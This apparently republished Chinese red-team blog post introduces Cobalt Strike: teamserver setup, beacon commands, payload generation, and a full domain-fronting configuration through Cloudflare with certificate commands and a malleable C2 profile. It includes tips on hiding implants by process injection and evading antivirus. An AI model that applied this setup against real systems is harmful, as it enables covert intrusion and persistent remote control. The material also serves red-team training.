写在前面
Hvv前连着参加了很多红队项目,看队伍里师傅们内网畅游很羡慕,就把CS的入门和使用提上进程了。正好又轮到我分享,简单记录一下。期待自己内网畅游的一天。
目录
0x01 C2服务器的简单搭建
0x02 菜单与指令
0x03 CS基础组件
0x04 域前置配置
0x01 C2服务器的简单搭建
本来以为搭建个C2服务器会比较麻烦要配置环境,结果其实只需要把cs文件传上去就好了。需要有一个云服务器,因为去年阿里云活动买了三年的ECS,这里用的是阿里的。后期域前置配好以后总有点问题,怀疑是ip被ban了,队里师傅建议用国外的或者腾讯云的云服务器。
上传CS文件后,在文件夹下输入。这里ip是服务器的公网ip,密码自己设定。
./teamserver ip password
本机启动输入对应ip/端口/password即可连接
0x02 菜单与指令
右键菜单
Access:包含了一些对凭据的操作及提权的选项
Explore:包含了信息探测与目标交互的选项
Pivoting:包含了一些设置代理隧道的选项
Session:包含了对当前 Beacon 会话管理的选项
beacon 命令行指令
shell:通过受害主机的 cmd.exe 执行命令。比如运行ipconfig,就需要输入shell ipconfig
run:不使用 cmd.exe 执行命令。该命令也是 run + 命令的形式运行,该命令会将执行结果回显。
execute:执行命令,但不回显结果。
powershell:通过受害主机的 PowerShell 执行命令。比如想在 PowerShell 下运行 ipconfig,就需要输入powershell ipconfig
会话传递
spawn:进行会话的传递,右击会话选择spawn命令进行会话的选择,spawn提供别的团队成员使用或者传递到别的cs服务器的监听器。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。如果上传的文件被删被查杀了,一定程度上的权限维持。为了更好的隐蔽性,可以找到更合适的程序并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。
spawnto:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为。
任务进程控制
job
jobkill id
端口扫描
右键 explore--port scan。或者上传免杀fscan。
扫描结果查看
0x03 CS基础组件
监听器
接受payload回传的各类数据,类似于MSF中handler的作用。有http/https/smb等多种模式的监听器。
beacon SMB模式将命名管道通信封装在 SMB 协议中,所以相对隐蔽。因为防火墙允许445通信,可能可以绕过防火墙。简单权限维持:生成后,explore--process list将smb beacon注入进程如vmtoolsed进程。这样即使木马被查杀/删除,至少进程里能连接。
Attack
attack--package-- Windows Executable,会生成一个Windows可执行文件或DLL文件。默认x86,勾选x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb)。
内网中的横向移动,监听器强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的。
attack--package--Payload Generator
Payload生成器Payload Generator可以生成各种语言版本的Payload,便于后续进行免杀。
0x04 域前置配置
域名和CDN平台
选择国外的域名,国内的域名要备案,域前置就没有意义了。后两个需要购买。这里推荐三个网站freenom.com、godaddy.com、namesilo.com。第一个是唯一一个免费的域名注册网站,我在godaddy上买了一个域名,.shop的域名也就七八块一年。
国外免费CDN平台cloudflare.com注册账号,CDN平台配置DNS解析,修改为cloudflare上的dns ns即可。
如图配置A记录和NS记录即可
cloudflare配置
生成SSL/TLS证书,保存得到example.shop.pem和example.shop.key。上传到C2服务器对应cs文件夹下
执行如下指令
openssl pkcs12 -export -in example.shop.pem -inkey example.shop.key -out example.shop.p12 -name example.shop -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore example.shop.store -srckeystore example.shop.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias example.shop
C2服务器配置
新建cs.profile文件,配置如下内容。配置后输入指令启动配置
./c2lint cs.profile
https-certificate {
set keystore "example.shop.store";
set password "123456";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "example.shop";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "example.shop";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "example.shop";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}
删除cs.store, 修改teamserver对应代码
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias http://google.com -dname "CN=US, OU=google.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"
到这里域前置就配置完成了,新建监听器如下。注意cloudflare CDN免费支持的端口如下:http:80、8080、8880、2052、2082、2086、2095。https:443、2053、2083、2087、2096、8443。国内服务器没有备案,不能使用80、8080、443、8443端口提供服务。创建listener时要避开这些端口。
写在最后
祝大家早日getshell,内网遨游。
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
原文始发于微信公众号(云下信安):CS入门与域前置配置
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论